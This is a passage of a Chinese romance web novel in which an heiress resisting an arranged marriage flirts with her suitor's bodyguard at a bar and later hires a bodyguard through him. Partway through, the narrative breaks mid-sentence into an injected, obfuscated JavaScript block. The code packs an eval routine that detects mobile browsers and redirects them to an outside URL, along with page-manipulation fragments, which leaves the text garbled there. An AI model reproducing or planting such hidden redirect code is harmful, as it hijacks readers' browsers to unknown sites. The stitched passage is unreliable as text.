“知道了,你先进去。”程鸢扬了扬下巴打发他。 温泽楷也不恼,立刻便放低身段说:“我听程叔说你喜欢吃鳕鱼,我这就进去让人上一道。” 确认温泽楷回了包厢,程鸢转身就朝着那边的绿荫道走了过去。 “洛聿!!” 仿佛见到了很熟悉的朋友一样的语气,阳光照在程鸢明媚的紫发上,就像个原本精致却易碎的洋娃娃忽然被赋予了非常活泼的生命力。 程鸢的步伐很快,像是在朝着他刻意冲过来,洛聿本能往后避开,垂眼看见她脚上的高跟鞋又一顿。 穿着高跷还敢这样跑,她到底在想什么? 洛聿停在原地,朝前横伸出来一条手臂隔绝她的靠近,也像是方便她扶靠。 程鸢勾着唇,顺势就把自己的手搭了上去,带着一点温热。 洛聿的手臂肌肉瞬间收紧,这才想起来自己今天穿的是黑T短袖,仅是第四次见面,他们已经字面意义上肌肤相触。 程鸢今天穿着一条垂坠露半边肩的长裙,手臂肌肤在室外光源下显得更加白透。 她的手臂和洛聿的手臂交错在一块儿,色差格外明显,不过更明显的是她手腕上红起来的一圈印子。 “你在看我的手吗洛聿?” 洛聿收回目光,“不是。” 程鸢忽略他的回答,抬起自己的右手放到他面前,“是温泽楷拽的,他刚才犯病了,不过只是看着吓人。” “不是很疼。”她说。 洛聿沉默。 他的手臂仍然横在彼此中间没有放下,尽管她已经站稳。 “洛聿,还有一个消息要告诉你,我们以后会很经常见面了。” “因为温泽楷。”程鸢语气没什么起伏的补充道。 因为已经答应了和温泽楷联姻,所以以后会经常和他一同出入各种场合?还是因为别的什么? 没头没尾的一句话抛了出来,更像是在诱导他开口追问。 程鸢的手重新搭上了洛聿的手臂,并收紧手心握了两下,“洛聿,温泽楷给你开什么价,我给双倍,三倍,你跟着我吧。” “或者你有什么困难直接告诉我,我可以帮你解决。” 池之瑜就是这么跟Archer说的。 之后Archer就变成了她的甜心。 程鸢向来随性,她那双眼睛根本懒得藏事,因而什么想法都很好懂。 尤其她看似天真无邪却已经高高翘起来的嘴角,根本就是一只准备做坏事的狡猾鳄鱼。 鳄鱼擅长躲在水下装木头狩猎,而她却连装救世主都装不像。 在温泽楷那里受了不痛快,于是把目标放在了温泽楷的保镖身上。 对温泽楷不屑一顾,却对温泽楷的保镖和颜悦色,这对向来眼高于顶的温大少来说会是一种莫大的羞辱。 程鸢的目的太好懂了。 尽管如此,可洛聿并不会成为一个任性妄为的大小姐用来气人的玩具。 他不会做任何人的玩具。 如果真有这种假设,被玩哭的那个人也只会是她。 6. 反差好吃 “都打俩小时了,还不歇歇?” 柯彻一把推开训练房的大门。 吊在房间中央的沙袋被向后击飞又垂直回落,沉闷而有节奏的砰砰击打声不断响起。 啃了大半个月菜叶子却并没有减肥成功的豹纹蜥蜴正趴在柯彻的肩膀上,听见动静它掀起眼皮看了眼,又懒洋洋地趴了回去。 沙袋停止晃动,洛聿摘下拳套转身走了过来,细碎湿透的发丝遮在他锋利的眉头上。 洛聿拧开桌上的一瓶水仰头灌了大半。 柯彻见他脸色冷沉,黑沉的双眸像一汪骤然被掀起波澜又克制平复下去的深潭。 “心情不好?” 柯彻说:“不应该啊,温氏今天早上新鲜出炉的调任公告你已经看过了吧。” 温家二房长子温齐贤涉嫌侵害集团利益,证据确凿,被集团股东联名要求处理,温老爷子顶不住压力,亲自下令把他调任到海外分公司,名为历练实为流放。 “温齐贤完了,真可怜啊。” 柯彻抱胸靠在门边,笑得一脸无害。 几个月前温齐贤主导的一起竞标项目和池家是竞争关系。 谁料温齐贤竟然玩手段收买了招标方,导致池之瑜熬了大半个月的准备付诸东流。 柯彻一方面是在执行洛聿的计划,另一方面也是给他的金主公主出了口气。 柯彻给洛聿细数剩下的麻烦,“二房老二温凌川,他比他大哥温齐贤心思深,却也更贪,满身都是把柄。” “二房还有一个私生子温少轩,他的位置不过是虚职,不足为惧。” “哦对,还有你那个烂泥扶不上墙的废物大哥,我听说他和程家的联姻快要成了。” 洛聿拧回瓶盖的动作一顿,“嗯。” 他瞥了眼自己的手臂,激烈运动导致暴起的青筋还没有平复下去。 温泽楷如今急需一个美满和谐的婚姻来向集团股东和社会外界展示他成熟富有责任感的公众形象。 相反,如果有朝一日谁撕开了他这个伪装的人设,大白于公众面前,就是一场大好戏。 柯彻话锋一转,看了眼那个房间里的沙袋,“我怎么感觉你把那玩意儿当成温泽楷在揍呢。” “他给你找事儿了?” “不是他。”洛聿脱口而出后一顿。 “哦?”柯彻嗅到了一丝八卦的气息,“不是他,难道是他那个未婚妻?” 柯彻:“漂亮小姑娘?” 洛聿:“……” 程温联姻还没正式敲定,客观来说程鸢还算不上是温泽楷的未婚妻。 “没什么。” 洛聿脸上没有表情,“不值一提。” * 那天午宴结束之后的一个星期里,温泽楷给程鸢打过三四通电话。 约她吃饭,约她打高尔夫,约她出席任何多人场合,程鸢都一一拒绝。 任温泽楷问急了,程鸢也只是回:“我凭什么听你的。” 温泽楷咬牙:“我们已经达成合作共识了不是吗?” 谁跟你达成合作了,遛你你也信。 “白天太晒。”程鸢语气懒散。 “所以?” “今晚我去浮华。” “好!”温泽楷语气透出兴味,“我等你。” 程鸢暗哧了声,道:“把你的保镖都带上,你太招人打,别连累我。” “你——” 程鸢点了挂断,拿起剪刀继续修剪新买回来插瓶的一束花。 程鸢喜欢热闹,却一个人住,因而会在家里到处添色,让每个角落都充满鲜明热烈的色彩。 从大门玄关进来到客餐卧区域几乎全是柔和的平拱形门洞设计,奶油白的墙面,蓝纱帘的落地窗,紫色云朵沙发上面一排蔬果抱枕排排坐。 粉白色的边柜桌面摆放着两个相框,一家三口全家福以及和齐好池之瑜的三人合照。 玄关客餐三处的柜面最少一周一换新鲜花束,还有露天阳台那儿她前不久从家里搬过来的花卉。 她一个人也能过得很热闹。 这没什么。 程鸢把修剪好的花插进花瓶里,转过身,脚上的香蕉小狗居家拖鞋变成了高跟鞋,程鸢弯腰迈腿从车里走下来。 晚上十点,暗蓝光效的酒吧门口很热闹。 程鸢穿着一件美式复古挂脖吊带搭配一条短热裤,耳饰是戴了一枚白钻钉,和左手中指上的三克拉白钻戒交相辉映。 周围的惊叹目光于程鸢而言已成日常,单是她那两条又白又直的腿就已经非常吸睛。 程鸢的人生信条里大概是没有谦虚这个词的,她的步伐依旧平稳从容。 正在四处乱飘的只有她的眼睛。 人呢? 温泽楷的车她倒是见到了,但洛聿没在车上。 浮华的迎宾门童都认得程鸢。 固定接待她的女经理一脸笑容地走上前来:“程小姐,晚上好,欢迎您!” 与此同时程鸢的手机响了起来,是徐时鸣,她先接下。 “程程!”徐时鸣语气很急,“你同意嫁给温泽楷了?” “消息传挺远,你不是在海市出差吗?” “我今晚就回澜市!” “假的。”程鸢不急不缓说。 那边推动行李箱的动作停滞下来。 徐时鸣缓了片刻,嗓音变得沉哑深长:“程程,你到底想干什么?你告诉我,我可以帮你。” “不用,我自己搞得定。” 恰好目标出现在了她的视线里,程鸢道:“我还有事,先挂了。” “你到底在忙什么?”徐时鸣追问。 “网鱼。” 程鸢勾起唇。 她的视线随着那道背对她走进VIP包厢走廊的背影而移动,帅果然是一种感觉,即便看不见脸,光是那道利落挺括的背影就足以让人目光驻足。 “程小姐?”还候在一旁的女经理小声问询。 “今晚不用包厢,卡座就行。”程鸢微笑着道:“再给我一杯绿野仙踪,谢谢。” 弥漫着浓重烟酒混合味的包厢里,坐最靠边沙发上吞云吐雾的男人掸了掸手边的烟灰。 “真的假的,温大少你要娶程鸢?” “那还有假,消息不都传开了。” “啧,去年也是在浮华这儿,我不过夸了程鸢一句腰细,她直接就赏了我一巴掌!”男人缩着腮帮吸了口烟,眼里闪过一丝不甘心的贪婪。 “程鸢是漂亮,也是块硬骨头。” “再硬还不是一个女人。” 有人不屑,还有人出起了主意:“要不然等人一会儿来了,温少你搂着程鸢当众给我们亲一个呗!” “这个好!!温少你就让哥几个开开眼,看看你是怎么把程家大小姐给降服的?” “这有什么难的。” 坐在沙发正中央的温泽楷抿了口酒,他很是享受这群人的追捧:“你们一会儿好好看着。” 侍应生推着酒车进去,门被打开了大半,那些卑陋龌龊的调笑因而一句不漏地传了出来。 走廊光线昏暗,洛聿一身黑衣站在那里,整个人仿佛与昏夜融为一体。 压迫感冷得渗人。 也是这个时候,程鸢出现在了走廊那端。 洛聿最先注意到的是她的头发,原本张扬明眼的紫色换成了看起来似乎很乖的茶黑色。 程鸢每走一步肩膀都在左右摇摆,就算距离远,洛聿也闻到了她身上浓郁的酒气。 只身来这种地方还敢把自己喝成这样,她是不是自信的觉得全世界的人都没有胆子敢伤害她。 “……洛聿?” 程鸢步履虚浮地走了过来,侧身靠在墙壁上借力,没骨头似的看着他,“是你呀,我们又见面了呢……” 她红润的唇一张一合,饱满软绵。 没有丝毫反抗力。 洛聿微微蹙起眉。 她现在这样进温泽楷的包厢就跟送死没差别。 “程鸢怎么还没来,温少不去催催?” “应该快了。”温泽楷应道,言语中同样有了几分不耐。 “谁在叫我?”程鸢偏着脑袋往洛聿身后瞧过去。 下一秒她的脑袋就被外力掰了回来,紧接着一侧肩膀被一只宽大的手掌牢牢扣压住。 程鸢瞬间感觉到了一股强大的压力。 她今晚穿的是挂脖吊带,肩膀处没有布料遮挡,那股强大的外力在触碰到她的下一刻就僵硬着收缓了一些力道。 但依旧没有放开她。 洛聿半搂半扶着把程鸢带出了浮华,停在大门右侧一片草坪边上。 浮华里面的男模盘靓条顺,本着猎奇的心态程鸢点过几次,好看是好看的,只是空有皮囊却没有一个长在她的审美点上。 因此点了人也只是让倒酒,让那群里唱歌还算好听的几个去给自己现场live。 程鸢从不让他们碰到自己。 但被洛聿这样揽着她却不反感。 当然最主要的原因是她发现从这个角度看他的侧脸下颌更加好看。 清隽少年的脸,硬朗健硕的身材。 怎么不能算是一种好吃的反差呢。 这个人可真会长。 “洛聿,你不是生我的气了吗,还扶我出来干什么……” “没有。”洛聿语气平沉。 程鸢抬手揉了揉眼睛,像小兔洗脸一样,随后那双眼睛就流露出了几分迷离的酒醉眼神。 “你那天,一句话也不说,就走了,难道不是生我的气吗……” 既然她非要这么说。 洛聿忽的把手臂一收。 程鸢还在沉浸式的演绎着自己摇摇晃晃的海草人设,手心忽然没了支撑点,她一下没站稳,整个人直接就跌到了草坪上,右手掌心还蹭到了一点泥土。 程鸢盯着自己被弄脏的手心,不悦地蹙起了眉头。 演赔了。 洛聿也在盯着她的发顶,眼神渐渐变得幽深,像是一头狼在审视一只骤然闯入自己领地的柔弱生物。 他在分辨它到底是真柔弱,还是只是以猎物形式出现的狡猾猎人。 但凡这时候程鸢抬起了头,大概都会很后悔把他当作游戏目标。 彼此一时都没有说话。 最后先有动作的还是洛聿,他半蹲了下去,圈住程鸢的手腕握了过来。 只是表面沾了点泥,没有擦伤。 洛聿没有带手帕和纸巾,只能用大拇指指腹给她拭去泥土。 程鸢今晚戴了近视美瞳,因而观察得很仔细,洛聿的手伸过来之前,在她的手心上方有过短暂半秒的停滞,最后才移到她的手腕。 握手腕怎么不算是一种退而求其次的克制呢,虽然洛聿可能不是这么想的。 他大概只是出于温泽楷保镖的这个身份,对她这个未来老板娘展现出职责范围内,谨守分寸的一点帮助而已。 程鸢盯着他下敛的眼睫毛,高挺的鼻梁,最后是薄薄的嘴唇。 “我那天没有别的意思,那样问你也不是要拿钱羞辱你,洛聿。” 程鸢的语速清晰流畅,洛聿拧眉抬头:“你装醉?” 绿野仙踪是无酒精饮料,程鸢一身酒味是坐在卡座时被染上的。 程鸢的脸上丝毫没有正常人被拆穿把戏后的窘迫,反而朝他眨动一只眼睛,笑颜明媚。 “我的手好摸吗,洛聿。” 洛聿一脸冷酷地松开了她的手,起身就准备离开。 “等等——” 程鸢叫住他,“我脚崴了,洛聿。” 洛聿停下脚步。 “真的,我没骗你。” 程鸢噘起嘴巴就开始控诉:“是你刚才把我扔到地上造成的。” 扔? 他什么时候做过这种事。 涉世未深的古板闷葫芦还真是好骗,这就走不动了,程鸢盯着他的背影得意一笑。 “真的不扶我一下吗洛聿?” “果然是在生我的气吧洛聿?” 洛聿的眉头狠狠抽动了一下。 不该告诉她他的名字的。 刚才包厢里那群环境污染物口中的冷硬寡言大小姐确定是她? “你听不见我说话吗洛聿?” 程鸢歪着圆圆的脑袋瞅过去。 不是听不见,是不想听。 可是阻止她继续‘洛聿’下去的办法貌似只有把她扶起来。 本着解决问题的目的,洛聿转身把她扶了起来,垂眼瞥她双腿,确定她站稳后立刻撤手。 程鸢‘不依不饶’地把手心摊开给他看,“我手还是脏的,你再帮我擦擦。” “里面有洗手间。” “我不想进去,碰到温泽楷怎么办。” 原来你也知道。 那你还敢来这里。 洛聿盯着她。 “我的脚踝也有点疼,洛聿,你扶我去我的车里。” 明明是发号施令的语气,偏偏她天生嗓音甜美,尾音又在故意示弱拉长,拒绝她像犯罪。 停车场就在花圃边上,扶她一把不过举手之劳。 “帮我把车门打开。” 开车门是保镖的日常工作之一,顺手而已,洛聿帮她打开。 “后座储物格有湿纸,你抽两张出来给我。” 抽纸而已,姑且也算是举手之劳,洛聿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438328|169305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弯腰进去,闻到车里有清新浅淡的花香。 “给。” 程鸢没接,朝他摊开手心,“你帮我擦。” 洛聿直接把湿巾放到她的手心。 “你刚才都已经摸过我的手了,现在拒绝还有什么意思?” “……” 摸字她今晚要提个没完了。 洛聿面无表情:“我还有工作,先走。” 再待下去她指不定还要出什么花招。 “不许走。”程鸢用干净的左手拽住他的袖口,“洛聿,我是为了看你才来的。” 程鸢绕到他面前,倾身一步步逼近他,洛聿冷着脸往后退,后背碰到大开的车门框边,停住。 “为什么。”洛聿声音冷淡。 程鸢也停住,停在能感觉到彼此呼吸温度的距离。 她扬了扬下巴:“因为你好看。” 一句漂亮话说得像赏赐又像挑衅。 洛聿面色无波,眼睛里的温度只降不升。 他不受任何影响。 但她一直在说话,嘴巴在动。 他很快就注意到她今晚的唇色不是往常明媚的红,而是乌龙茶冻一样的粉调,就像柔软饱满的草莓蛋糕。 要是被人咬上一口,不知道先尝到的是蛋糕的甜味,还是她吃痛掉下来的咸眼泪。 洛聿:“大少不在。” 你此时此刻说这句话不会带来任何作用。 “的确。”程鸢点了点头,和他的脑回路根本不在一个平层。 “如果他在,那就会把你衬托得更好看!” 洛聿:“……” “我说真的,没骗你。” 程鸢释放自认为友善的笑容:“我就喜欢跟长得好看的人做朋友。” 明明是不只想跟我做朋友。 洛聿瞥了眼还被她攥住的袖口:“松手,让开。” “我不。”程鸢一样都没照办,没有人可以跟她讨价还价,除非她愿意。 “你先回答我一个问题。” 洛聿沉默拒绝。 “就一个!”程鸢竖起一根手指,但也许习惯了竖中指,场面一时有些微妙。 她立刻把食指也弹了起来。 比耶并不比竖中指强到哪儿去,洛聿看着她的耳朵因为尴尬迅速红起来了一层。 “你问。” “你有女朋友吗?” 程鸢浑身都是破绽,问出这个问题的目的太好懂。 “与你无关。”洛聿的语气比此前对她说过的任何一句话都要冷淡。 当然有关,如果你有女朋友,那我就得换一个目标了。 程鸢认为自己道德感不多,但挤一挤还是有一点的。 原来闷葫芦也是有脾气的,不过也只是嘴上冷漠,却没甩开她还揪着他袖口的手。 这个人真是又好看又善良啊,这么善良的人跟在温泽楷身边岂不是要近墨者黑了。 “洛聿,你讨厌我吗?” “谈不上。” 真是一个好回答,你们做保镖的下了班还得去上端水大师课是吧。 “讨厌还是不讨厌,我只想听这两个答案。” 洛聿:“你想吧。” “你是让我想你吗?”程鸢一脸惊叹地看着他,“洛聿,你真主动。” 洛聿:“……” 温泽楷拿着手机从浮华大门口走了出来,没一会儿,程鸢听见自己的手机响了。 他们是侧对大门站着的,洛聿自然也看到了温泽楷。 要是被他看见自己和程鸢站在一起,搞不好会直接开除他。 他还不到能从温泽楷身边离开的时机。 洛聿正要躲开。 “低头!”谁想程鸢动作比他更快,抬手就压上了他的胸口,直接把他推进了车门大开的后座。 凭她那点力气根本不可能推得动他,前提是,她人不跟着一块儿扑上来。 如果他不往后躲,场面就是她撞进他怀里,她大概更加乐见其成,会笑得更加像一只偷腥成功了的猫儿。 车内,洛聿往外看了眼,幽晦的目光最后定在程鸢脸上,“程小姐,你到底想干什么?” “嘘!” 程鸢这次竖对了食指放到自己唇边,“先别说话。” 程鸢今晚开的不是紫色超跑,而是一辆低调的卡宴,在停车场里原本并不显眼。 但巧在上次温家午宴她开的也是这辆车,温泽楷认得出来,并且她的车牌还是【澜A99999】五连豹子号。 这一个瞬间,是程鸢长这么大第一次考虑‘低调’这个词。 温泽楷果然已经看见了这辆车。 “怎么办。”程鸢惊慌地眨了眨眼睛,“他要过来了。” 洛聿:“……” 卡宴的车窗贴了防窥车膜,除非低下头,再把脸压扁贴到玻璃上,做出类似偷窥的不雅动作,才能看得清车内的情况。 周围来往都是人,温泽楷根本不会做出这种丢面的偷窥行为。 况且在温泽楷看来,程鸢也不是一个做得出‘藏’在车上不敢下来的性格。 他根本不会想到程鸢不仅就在车上,连自己的保镖也在这部车上。 温泽楷朝车四周看了一圈,然后站在那儿继续打电话。 程鸢的手机响了,她把屏幕翻面朝下,却没挂断,“我要接吗?” “随你。”洛聿道。 “这么无所谓?” 程鸢扬了扬下巴,“对了,我刚才没锁车门,温泽楷只要尝试轻轻一开就能看见我们了。” “surprise~” 洛聿顷刻就变了脸色,虽然很细微,但还是被程鸢捕捉到了。 程鸢偏头一笑,“骗你的,我锁了门。” 然后挂断了电话。 “啧,人去哪了。” 温泽楷一脸烦躁,朝四周看了眼,转身返回了酒吧里面。 程鸢拍了拍自己的胸口,“好险啊,差点被发现了。” 洛聿:“……” 她装什么慌张,分明是看热闹不嫌事儿大。 程鸢简直是一个定时炸弹,不知道什么时候就会搅乱他的计划。 她浑身上下都是不定因素。 车内光线幽暗,程鸢大面积露肤的两条腿呈现出一种哑光柔和感。 洛聿并没有看过去,然而余光全是一片晃眼的白。 她是他见过皮肤最白的人。 洛聿喉结滑动,语气异常冷淡:“把一个陌生男人关在车里,同样很危险。” “可我不觉得我们很陌生啊。” 程鸢弯着唇,倾身凑近他,“你都已经摸过我的手了,洛聿。” 7. 我只要你 洛聿越是规矩死板,程鸢就越是想要激起他的情绪变化。 她甚至从中悟到了一些类似于挑战的趣味,这场游戏如果赢了,他就会变成她的奖品。 尽管他现在看起来十分不情愿,甚至推门就要下车。 “洛聿。” 程鸢叫住他,“你希望我进去吗?” 洛聿放在门把手上的动作一顿。 “与我无关。” “那你刚才为什么要把我带出来。” 程鸢说:“温泽楷准备对我做什么?” 他要对你做什么你不知道吗。 洛聿扭头看向她,他说:“程小姐不必在我面前装糊涂。” 既然已经答应和温泽楷联姻她就该想到会有这些事发生了。 光线昏暗的车里,洛聿漆黑的双眸更具冷意,像是对她今晚的几次纠缠已经感到不耐烦。 然而程鸢目不转视,她耸了耸肩,说:“我也没办法的,这个世界又不是围着我转的。” 她的语气里带着一丝难见的惆怅。 洛聿还没细想真假,程鸢又说:“不过我也不稀罕被那么多人围着转,我只要你,洛聿。” 洛聿拧眉:“什么意思?” 程鸢直勾勾地看着他:“跟你说过了呀,我缺一个保镖兼司机,你能跟我在一起吗?” “我的意思是为我工作。” 我只要你。 跟我在一起。 她是不是压根不知道什么才是挖墙脚该用的说辞。 她聘请别人也是这么说话的? “不能。”洛聿回绝。 “为什么?温泽楷给你的薪酬我是一定给得起的呀!”程鸢补充,“没有要拿钱砸你的意思。” 在程鸢看来,一份工作谈不谈得拢百分之九十九的原因是钱。 而她最不缺的就是钱,搞不懂洛聿为什么要拒绝,她这个新老板不比温泽楷看起来像个人,好相处多了吗? “我有我的理由。” 又是这种万金油回答。 “你真想聘请保镖,我可以帮你引荐。” 噢?竟然还有下文。 程鸢立刻讨价:“可是我的要求挺高的。” 洛聿:“你提。” 程鸢目光放肆地打量他:“最起码要像你这样的。” 洛聿颔首:“差不多。” “那我也得挑挑人。” “行。” “洛聿。”程鸢狐疑起来,“你答应得这么爽快,该不会是为了脱身故意这么说的吧?” “明天下午三点,信安安保公司。” “不认路,乐清苑。” “什么地方?” 程鸢说:“我家,明天你来接我。” 洛聿说:“我也不认路。” 光复制她说话,能不能也粘贴上她说话的态度和温柔的语气呢! “那好办呀,你现在送我回去,刚好认一认路。” “不方便。”洛聿仍然冷酷回绝,“我正在工作。” “洛聿。”程鸢叹了口气,有点委屈,“我感觉你对我的防备心好大啊。” “对了,说到大,你——” “程鸢。”洛聿冷声制止。 “噢?原来你还知道我叫什么。” 张口闭口就是程小姐,没一句她爱听的。 不过,“你这么大声干什么,好像回到了上课被教授点名的时候。”程鸢故作惊慌的拍了拍自己的胸口。 “……” 洛聿问她:“你刚才在看什么?” 程鸢重新垂下眼:“看你的手啊。” 你放在西装裤上面的手,原本平顺的西装裤面料被肌肉撑得紧紧有型,力量与束缚感并存。 “洛聿,你的手好大,我的勉强只有你的三分之二。” 程鸢又一闪而过地想起站在聚光灯下的那个拳击手。 洛聿以为她会把手直接覆盖在他的手背上,但她没有,只是悬空着在比较,她的出其不意已经到了没有任何规律可循的地步。 洛聿不再停留,一把推开车门,关车门时又收着劲力阖上。 “明天见,洛聿。”程鸢降下车窗,支起下巴对他说。 洛聿没回头,高冷得很。 程鸢也不恼,甚至想拿出手机对着他好看的背影拍个照。 这时,池之瑜的电话打了过来,说自己被工作吸干了精气,一身班味急需祛除。 要了地址,程鸢发动车子开过去。 水疗会所的按摩师手法老练,池之瑜活了过来立马就关心程鸢的近况,问她要和温泽楷联姻的传闻是不是真的。 程鸢泡在泉池里,用手心掬起一捧水倒在自己的肩膀上。 程鸢说:“我就算嫁给好好的仓鼠儿子都不会嫁给他,拖一拖而已。” “可你总这么拖延也不是办法吧,后面怎么办?” “走一步看一步呗。” 程鸢岔开话题,“上次你跟我说过的中晟的投资,现在还能追加吗?” “可以吧,你打算追多少?” 程鸢报了个数目。 池之瑜瞬间睁大眼,“你确定?” “中晟虽然势头很好,但到底也只是一家刚冒出头的小公司,这样的小菜苗澜市一抓一大把,你确定要把你的小金库全砸进去?” 程鸢很平静地点了点头,她的脸上浮现出一些与往常玩世不恭神态截然相反的踌躇自信。 “我相信自己的判断。” 程鸢毕业于澜市大学经济学院,号称国内顶尖的经济学院之一,群英荟萃。 她不是不懂做生意,她只是讨厌表面称兄道弟推杯换盏,背地捅刀放火你争我抢的那套所谓‘生意经’ 当然,程鸢最讨厌的还是按部就班的打卡上班,她坐不住,受不了,没有人会喜欢上班的! 池之瑜想起来一件事,她说:“对了,中晟的总经理吴杰你还记得吧,他跟Archer还是朋友呢。” 程鸢挑眉,“这么巧?” 池之瑜也是偶然一次在拳馆门口撞见的,柯彻从吴杰的车上下来。 不过,如果池之瑜当时要是早点发现,她就会看到,开车的是吴杰,坐在后座更像总经理的是柯彻。 程鸢说:“那他怎么不去中晟上班,总比打拳好吧。” 提到这里池之瑜叹了口气,“Archer说自己高中都没读完呢,不可能去写字楼里上班的,我怕伤他自尊心就没再提了。” “行吧。” 池之瑜又把话题绕了回来,“程程,其实你想彻底解决结婚这件事,可以找徐时鸣呀,徐家的实力你爸肯定也是满意的!” “徐时鸣是什么大冤种吗。”程鸢笑了一下,“结婚是狗屁只是我个人单方面的想法,对别人来说,应该还是挺美好的。” 徐时鸣要结婚也该找一个喜欢他的女人,而不是‘帮’她。 “所以你一直都知道他对你的心思?” 程鸢哼笑:“我的第一封情书是在幼儿园大班收到的,你觉得我会不知道?” “那你打算怎么办?” “温泽楷身边有个保镖。”程鸢用手臂来回划拨水面,水纹一圈又一圈地荡漾开来。 “什么意思?” 池之瑜愣了下,她嗅到了一丝不寻常,扭头看着程鸢说:“程程,你想做什么啊?” “不做什么,我欣赏他。” “程小姐,您的手机响了。” 给程鸢按背的女按摩师把她放在木桌上的手机递了过来。 “谢谢。”程鸢接过,看见来电显示是温泽楷。 这人怎么还没完。 程鸢直接挂断。 温泽楷又发来短信,质问她到底来没来浮华,为什么车在却不见人,是不是又放他鸽子。 程鸢啧了声,敲字丢过去: 【又不是第一次了,你适应适应。】 * “砰”的一声,温泽楷脸色铁青把手就摔到了沙发上。 “哎呦!这是怎么了?!”温太推门进来刚好看到,吓了一跳。 “妈,我是一定要娶程鸢吗?” 温泽楷额头的青筋快要爆炸,“那女人能把我气死!真的!” “泽楷,你二叔没了齐贤还有凌川,再不济还有他那个私生子,可是你爸只有你一个儿子,势单力薄,如果你娶了程鸢,程家就会是你的一大依仗。” “程鸢被程家骄纵惯了,这很正常,以前你爸娶我不也是费了好大一番功夫,现在呢,我还不是把我的所有都奉献给你们爷俩了。” 温太拍了拍他的肩膀,“所以儿子,你别急,有什么气先忍着。” 温太说:“这个月底是荣盛蒋家的婚礼,程家和蒋家交好,程鸢也会出席,到时候你们借这个机会再好好相处相处。” 温泽楷经过了好几轮的深呼吸才把气压了回去。 月底?行! 温泽楷暗暗咬牙记下今晚这笔账。 * “洛哥,符合你条件的人都在这了。” 次日下午两点,信安安保公司里,洛聿把名册翻开来仔细查看。 “对方是谁啊哥,还要劳动你先过来选一轮,大明星?还是哪家富豪老板?” “该不会比这两种还要难伺候吧?” 洛聿最后选定了三名正在待职的保镖,让他们三点准时过来。 洛聿合上名册,说:“差不多。” “啊……” 洛聿抬手看了眼腕表。 三点一到,程鸢并没有出现。 洛聿也不意外,他准备让人散。 “洛聿,你对我就这么没耐心?” 这话一出,好几双眼睛齐刷刷看了过去。 “您,您是?” 这搞得跟谴责渣男的口气是怎么回事,该不会是洛哥的女朋友吧? “我以为程小姐最起码该懂什么叫守时。”洛聿从椅子上站起来,他今天穿着简单的衬衫长裤,身形挺拔落拓,眉宇间多了一些收放自如的从容。 和有温泽楷在的场合气场不太一样。 尤其当程鸢从面前这几个男人的站位立刻推断出,他们全都听洛聿的。 “这不怪我,昨晚我就跟你说过的,我不认路,你又不肯来接我,那我只能自己慢慢开过来了。” 程鸢把遮住大半张脸的墨镜摘了下来,长发一改往日懒散披肩,而是用一个抓夹全部夹在脑后。 “洛聿,你可以对一个刚拿驾照不到一年的人不要那么苛责吗?”程鸢走到洛聿面前,稍抬下巴看着他,露出一点谴责的小表情。 她的脖颈线条精巧漂亮,白得晃眼。 洛聿不动声色移开目光,语气公事公办地说道:“符合你条件的人都在这里,程小姐自己选吧。” 程鸢:“在哪?” “咳……” “程小姐是吧,您好您好,我是信安安保服务部的经理我姓王,您眼前这三位就是洛哥亲自为您挑选的保镖人选。” “噢?”程鸢眨眨眼。 “这第一位是小赵,他曾经负责过娱乐圈里好几位一线大牌明星的安保工作,经验十分丰富!” 程鸢看了看小赵,又转头去看洛聿。 程鸢问洛聿:“你有多高?” “据我所知洛哥有189!”王浩陪笑抢答,同时也看出来程鸢对小赵的身高不太满意,于是给她介绍第二位。 “这是小张,小张虽然比洛哥矮了一点点,但也有一米八出头了,程小姐您看?” 程鸢看了看小张,又转头去看洛聿,最后看向经理,问:“他的身手比得过洛聿吗?” “这个……”经理搓搓手,“应该是,不太能。” 排在第三位的周小竹于是看出来了,这位程小姐是在拿他们洛哥当标杆选人呢。 “选保镖还是选老公……” 这句嘀咕唇语被程鸢捕捉到了,她用墨镜腿一指过去,“就你了。” 周小竹瞬间愣住:“啊……” “小竹,还不快叫程总!” “哦好,好的。”周小竹当即站得直挺挺地,“程总您好,我叫周小竹。” “你多大了?” “十九。” “这么小就出来工作了,没上学?” “读不起 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“我家里穷,我自己也念不来书,所以高中没读完就跑出来了。” 车里,周小竹正在对程鸢倒豆子。 这小男孩长得清俊高瘦,一副聪明相,没想到性格却是个傻白甜。 程鸢问什么他就答什么,关键还挺碎嘴。 “不过我妹妹的学习成绩很好,她是我们家唯一读书的料,我把钱都寄回去给她上学了,我刚来澜市那会儿遇到点麻烦,是洛哥帮的我,去年我老妈等着钱做手术,也是洛哥帮的我。” “这么说你们洛哥还挺善良的。” “那当然了!” 一说到洛聿周小竹更是有说不完的话。 程鸢忍不住又想。 洛聿的善良怎么不向她发散发散呢,她也是身陷困境的可怜小女孩啊。 * 工作日早上九点,周小竹在乐清苑楼下接到程鸢,送她去集团上班。 红绿灯前,周小竹小心翼翼地看了眼车内后视镜。 程鸢困得要命,正靠在椅背上补觉,人在上班的路上,灵魂还躺在床上。 洛哥曾经叮嘱他要小心工作,程总的性格很不一般。 不一般这个形容词很难捉摸。 周小竹纳闷,也追问过:“哥,你的意思是程总脾气很差吗?” 洛聿似乎想说是,但最后没说,仿佛不太愿意把‘差’按在程鸢头上。 程鸢以前没聘请过保镖,其实她也不需要,所以一直把周小竹当司机使用。 上下车必须给她开车门,正是鸡蛋放在室外都能被烫熟的季节,她上车前车里的冷气必须开足,最后就是车要开得稳。 周小竹觉得她提的这些要求对比起他以前服务过的前任老板们来说非常宽容简单。 周小竹就更觉得,程总怎么也不像洛哥口中说的那个样子。 直到一天中午他开车门开迟了,害程鸢被烈日当空的大太阳晒了一会儿,路上他又急刹了两次。 程鸢本来上班就已经积攒了一身的怨气,当下就不怎么高兴了。 “小猪,冷气开高。” “好的程总,程总那个……我,我叫小竹。” “小猪,蛋糕店停,下去打包。” “好的程总,那个……” “小猪,明早我不上班,下午来接。” “好的程总……” 周小竹麻了。 周小竹被叫了三天的小猪。 第四天,程鸢从程远集团下班出来,上车后甩给他一张购物卡。 